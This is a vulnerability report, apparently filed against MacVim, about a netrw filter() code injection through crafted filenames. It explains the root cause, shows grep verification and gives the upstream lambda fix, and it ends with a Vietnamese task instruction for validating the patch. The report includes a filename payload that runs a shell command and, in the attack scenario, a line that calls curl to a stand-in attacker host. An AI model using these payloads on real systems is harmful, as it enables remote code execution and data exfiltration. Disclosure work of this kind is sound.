[Security] MacVim affected by GHSA-66hr-7p6x-x5j3 — netrw NetrwMarkFile() code injection via crafted filename (vim < 9.2.0480)

Summary

MacVim bundles the netrw plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim) which contains s:NetrwMarkFile() with a code injection vulnerability. When unmarking files from the global marked-file list, a filename is interpolated into a string expression passed to filter(), allowing a crafted filename containing a double quote " to break out of the quoted string and execute arbitrary Vimscript. The fix from vim 9.2.0480 (8af0f098c3a42a28661d0295364e6e0fd7dbc92c) has not been applied to macvim r183.

Vulnerability Details

• GHSA: GHSA-66hr-7p6x-x5j3
• CVE: CVE-2026-43961
• Upstream fix (vim): 9.2.0480 (commit 8af0f098c3a42a28661d0295364e6e0fd7dbc92c, 2026-05-14)
• Affected code: runtime/pack/dist/opt/netrw/autoload/netrw.vim — s:NetrwMarkFile()
• Vulnerability type: CWE-94 — Code Injection

Root Cause

In s:NetrwMarkFile(), when a file is unmarked from the global marked-file list, dname (the full path derived from directory + filename) is interpolated directly into a filter() string expression:

" runtime/pack/dist/opt/netrw/autoload/netrw.vim line 5220 (macvim r183)
call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')

If dname contains a " character, the string literal breaks and arbitrary Vimscript executes inside filter(). For example, a file named:

x" . execute("silent! !touch /tmp/pwned") . "

generates:

call filter(s:netrwmarkfilelist,'v:val != "x" . execute("silent! !touch /tmp/pwned") . ""')

which executes silent! !touch /tmp/pwned.

A second vulnerable call at line 7239 uses the same pattern:

call filter(w:netrw_treedict[dir],'v:val !~ "'.escape(pat,'\\').'"')

Attack Scenario

1. Attacker places a maliciously named file in the project directory:

   touch 'x" . execute("silent! !curl http://attacker.com/$(id)") . "'
   

2. Victim opens the directory in MacVim's netrw (:Explore), marks the file with mf, then unmarks it with mf again.
3. The second mf triggers the filter() removal path — injected Vimscript executes arbitrary shell commands.

Verification

$ grep -n "filter.*netrwmarkfilelist" runtime/pack/dist/opt/netrw/autoload/netrw.vim
5179:    call filter(s:netrwmarkfilelist_{curbufnr},'v:val != a:fname')
5220:    call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')

Line 5220 interpolates dname into the filter string. The fix has not been applied:

$ git log --all --oneline | grep -i "9.2.0480\|NetrwMarkFile"
(no output)

Suggested Fix

Merge vim patches up to at least 9.2.0480. The fix converts string-based filter() calls to lambda form:

" Fixed (vim 9.2.0480):
call filter(s:netrwmarkfilelist_{curbufnr}, {_, v -> v !=# a:fname})
call filter(s:netrwmarkfilelist, {_, v -> v !=# dname})
call filter(w:netrw_treedict[dir], {_, v -> v !~# pat})

References

• GHSA: https://github.com/vim/vim/security/advisories/GHSA-66hr-7p6x-x5j3
• Upstream fix: https://github.com/vim/vim/commit/8af0f098c3a42a28661d0295364e6e0fd7dbc92c

Bắt đầu trong runtime/pack/dist/opt/netrw/autoload/netrw.vim tại s:NetrwMarkFile(), đặc biệt là các lời gọi filter() quanh các dòng 5220 và 7239. So sánh các vị trí gọi này với commit Vim 8af0f098c3a42a28661d0295364e6e0fd7dbc92c, sau đó thực hiện luồng đánh dấu/bỏ đánh dấu :Explore của netrw với một tên tệp chứa dấu ngoặc kép. Được xem là hoàn tất khi tên tệp được tạo ra không còn thực thi Vimscript thông qua một trong hai đường dẫn filter.